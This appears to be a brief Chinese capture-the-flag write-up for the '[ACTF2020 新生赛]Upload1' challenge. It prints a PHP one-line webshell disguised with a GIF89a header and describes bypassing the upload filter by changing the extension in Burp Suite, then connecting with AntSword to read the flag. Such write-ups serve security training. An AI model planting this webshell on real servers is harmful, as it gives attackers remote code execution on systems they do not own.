1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST1)</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
郑州光合科技余经理6 小时前
国际版外卖系统：税率字段怎么和订单主流程解耦andyweike10 小时前
Android Automotive又见情义11 小时前
记一次 RK3568 Android 13 蓝牙反复重启问题的排查与修复hai_android11 小时前
Kotlin Flow combine 源码剖析：一个 Channel 如何优雅合并多条流敲代码的瓦龙13 小时前
Jetpack?ViewModel！！！Godikov13 小时前
Android 工控终端实战：从秒级卡顿到毫秒响应，SQLite/LitePal 性能优化全记录星间都市山脉15 小时前
Android16 SystemService.onBootPhase 调用时机swithun15 小时前
不用 WebView，我用 Kotlin + Compose Multiplatform 重写 Mermaid，并做了 2048 组对拍AI吃大瓜15 小时前
人脸检测和行人检测4：Android实现YOLOv8 YOLO11 YOLO26人脸检测和人体检测(含源码，可实时检测)与海boy16 小时前
Prompt模版